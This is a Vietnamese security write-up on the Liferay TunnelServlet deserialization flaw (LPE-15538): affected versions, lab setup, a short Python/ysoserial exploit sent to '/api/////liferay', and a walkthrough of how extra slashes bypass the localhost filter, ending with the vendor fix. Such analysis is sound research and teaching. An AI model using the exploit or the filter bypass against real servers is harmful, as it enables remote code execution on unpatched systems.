Liferay TunnelServlet Deserialization Remote Code Execution (LPE-15538)
Liferay TunnelServlet Deserialization Remote Code Execution (LPE-15538)
{{ .Resources.Match “images/*”}}
-
Mô tả và ảnh hưởng
Liferay TunnelServlet bị lỗ hổng insecure deserialization do cấu hình sai, có thể bị truy cập bởi attacker (theo mặc định, nó chỉ bị giới hạn truy cập từ localhost). Tùy thuộc vào phiên bản của Liferay Portal, attacker có thể khai thác lỗ hổng này bằng cách sử dụng dữ liệu đã được serialized để thực thi mã tùy ý trên hệ thống.
Các phiên bản ảnh hưởng:
- Liferay Portal CE 7.0 GA3, 7.0.1 GA2, 7.0.2 GA3
- Liferay Portal EE 6.0, 6.0 SP1, 6.0 SP2, 6.1 GA1, 6.1 GA2, 6.1 GA3, 6.2
- Liferay Digital Enterprise 7.0
-
Chuẩn bị môi trường
Cài đặt phiên bản ảnh hưởng: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/6.1.0%20GA1/liferay-portal-tomcat-6.1.0-ce-ga1-20120106155615760.zip/download
Giải nén và chạy file
..\liferay-portal-6.1.0-ce-ga1\tomcat-7.0.23\bin\startup.bat
để khởi chạy server. -
Demo khai thác
Payload:
import requests, os url = "http://192.168.1.84:8080" os.system("java \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED\ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED\ --add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED\ -jar ./ysoserial-all.jar CommonsCollections3 calc.exe > payload.bin ") r = requests.post(url + "/api/////liferay", data= open("payload.bin", "rb"))
-
Phân tích lỗ hổng
Tại file ..\tomcat-7.0.23\webapps\ROOT\WEB-INF\web.xml
, ta biết được các request đến /api/liferay/*
sẽ được class Tunnel Servlet xử lí.
Đi vào class Tunnel Servlet.
Tại đây, phương thức doPost
dùng để xử lý POST request, TunnelServlet nhận ObjectInputStream
từ Post data (dòng 40) và sử dụng hàm readObject()
(dòng 52) không đúng cách → Insecure deserialization.
Tuy nhiên, các đường dẫn /api/liferay/*
mặc định chỉ được truy cập bởi localhost, mọi request từ bên ngoài đều bị filter. Cụ thể, khi truy cập /api/liferay/*
thì Tunnel Servlet Filter được sử dụng.
Nó được định nghĩa tại class com.liferay.portal.servlet.filters.secure.SecureFilter
Tại class SecureFilter
, hàm processFilter
được gọi để thực hiện các quy trình filter. Trong đó có chức năng kiểm tra xem Remote Address có nằm trong whitelist các Allowed host được access hay không bằng hàm isAccessAllowed()
. Nếu không thì sẽ bị trả 403 Access denied. Đặt breakpoint như hình và debug.
Đặt Breakepoint tại dòng 86 và gửi gón tin POST tới
Hit breakpoint
F7 để đi vào hàm isAccessAllowed()
.
Tại đây, ứng dụng sẽ kiểm tra xem remoteAddr
(192.168.1.84) có nằm trong mảng whitelist ({SERVER_IP, 127.0.0.1}) hostAllowed
hay không → nó không thuộc whitelist → Access denied.
Tuy nhiên, để bypass filter này ta chỉ cần thêm n dấu /
vào path /api/liferay
→ /api/////liferay
Khi truy cập endpoint /api/liferay
, đầu tiên request sẽ được filter thông qua hàm doFilter()
của InvokerFilter class. Sau đó các InvokerFilterChain
về urlPattern: /api/liferay/*
được lấy để thực hiện filter request. Có thể thấy với /api/liferay thì có đi qua SecureFilter
.
Còn /api////////liferay
thì không:
Nguyên nhân nằm ở nơi lấy InvokerFilterChain
Tại đây phương thức getInvokerFilter()
được gọi để thiết lập filterChain cho url, với các tham số truyền vào là request
hiện tại, uri
(/api/////liferay) và filterchain
Đi vào phương thức getInvokerFilterChain()
Phương thức sẽ lấy filterChain
từ 1 list có trước (_filterChains
), với key chính là hashcode của uri truyền vào.
Trong trường hợp truyền vào /api////////liferay
thì sẽ tạo ra 1 hashcode khác, không tồn tại trong _filterChains
, khi đó invokerFilterChain == null
và sẽ nhảy tiếp vào phương thức
_invokerFilterHelper.createInvokerFilterChain()
để tạo ra 1 object filterChain
mới.
Đi vào phương thức createInvokerFilterChain()
Phương thức sẽ check match của uri truyền vào với các filterMap đã có sẵn.
Chức năng của phương thức isMatch()
là check xem uri truyền vào có giống với pattern của rule không, nếu có thì sẽ trả về true và add filter này vào list.
Bởi vì giá trị trả về của isMatchURLPattern
là false nên filter này sẽ không được add vào invokerFilterChain
Có thể nhìn thấy được uri
truyền vào và urlpattern
không match do matchURLPattern
trả về false
→ SecureFilter
không được add vào với request là /api/////////liferay
→ SecureFilter
không được invoke nên bị bypass
- Sửa lỗi của NPH.
Liferay đã thêm một hàm ProtectedClassLoaderObjectInputStream()
để filter những authenticated access, và userInputStream.
Tại các phiên bản sau, sau khi lấy URI bằng hàm getURI()
tại class InvokerFilter Liferay đã thực hiện normalize lại nó bằng hàm HttpComponentsUtil.normalizePath()